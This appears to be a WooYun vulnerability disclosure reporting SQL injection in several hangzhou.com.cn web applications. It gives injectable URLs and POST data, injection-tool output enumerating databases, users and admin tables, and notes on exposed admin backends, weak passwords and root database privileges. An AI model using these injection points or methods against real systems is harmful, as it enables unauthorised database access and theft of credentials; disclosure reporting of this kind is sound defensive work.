WooYun.org

post的 
url:http://form.hangzhou.com.cn/vote.php
data:q1664=2373&q1665%5B%5D=2377&q1665%5B%5D=2379&q1665%5B%5D=2380&vt_button=%E6%8F%90%20%E4%BA%A4&vt_btnsumbit=yes&voteid=422&q1665%5B%5D=2378
Target: 		http://form.hangzhou.com.cn/vote.php
Host IP:		122.224.215.10
Web Server: 	Apache/2.2.17 (Unix) PHP/5.2.4
Powered-by: 	PHP/5.2.4
DB Server: 	MySQL error based
Resp. Time(avg):	358 ms
Sql Version: 	5.1.52-community
Current DB: 	vt_form
Host Name: 	adv
Installation dir: 	/
Compile OS: 	unknown-linux-gnu
Table found: hl_admin
Table found: hl_categories
Table found: hl_vote
Table found: hl_admintype
Table found: hl_vote_list
Table found: hl_vote_name
Table found: hl_vote_value
Table found: hl_vote_option
url:http://web.hangzhou.com.cn/kanfang/message.php
data:nickname=88952634&act=add&content=88952634&link_id=995
Target: 		http://web.hangzhou.com.cn/kanfang/message.php
Host IP:		61.164.38.24
Web Server: 	Apache
Powered-by: 	PHP/5.2.17p1
DB Server: 	MySQL error based
Resp. Time(avg):	98 ms
Sql Version: 	5.5.24
Current DB: 	kanfang
Host Name: 	hzycjy
Installation dir: 	/usr/local/mysql
Compile OS: 	Linux
Table found: kf_admin
Table found: kf_link
Table found: kf_link_type
Table found: kf_message
Table found: kf_photo
Target: 		http://web.hangzhou.com.cn/zsjs/2013jk/article.php?nid=110
Host IP:		61.164.38.24
Web Server: 	Apache
Powered-by: 	PHP/5.2.17p1
DB Server: 	MySQL >=5
Resp. Time(avg):	100 ms
Current User: 	2013jkzsjs@localhost
Sql Version: 	5.5.24
Current DB: 	2013jkzsjs
System User: 	2013jkzsjs@localhost
Host Name: 	hzycjy
Installation dir: 	/usr/local/mysql
Compile OS: 	Linux
DB User: 	'2013jkzsjs'@'localhost'
Data Bases: 	information_schema
		2013jkzsjs
		test
ables found: hl_admin,hl_admintype,hl_categories,hl_jkzsds2_answer,hl_jkzsds2_diqu,hl_jkzsds2_news,hl_jkzsds2_question,hl_jkzsds2_survey,hl_question
http://love.hangzhou.com.cn/Club_hd_hg_Content.aspx?id=88



url:http://yst.hangzhou.com.cn/message.php
data：nickname=88952634&act=add&content=88952634&question_id=131231132590 
可能是注射
各个系统都是对外的  
后台也是对外的
部分的为弱口令
部分数据库权限为root   
旅游频道可能有注射 重点排查吧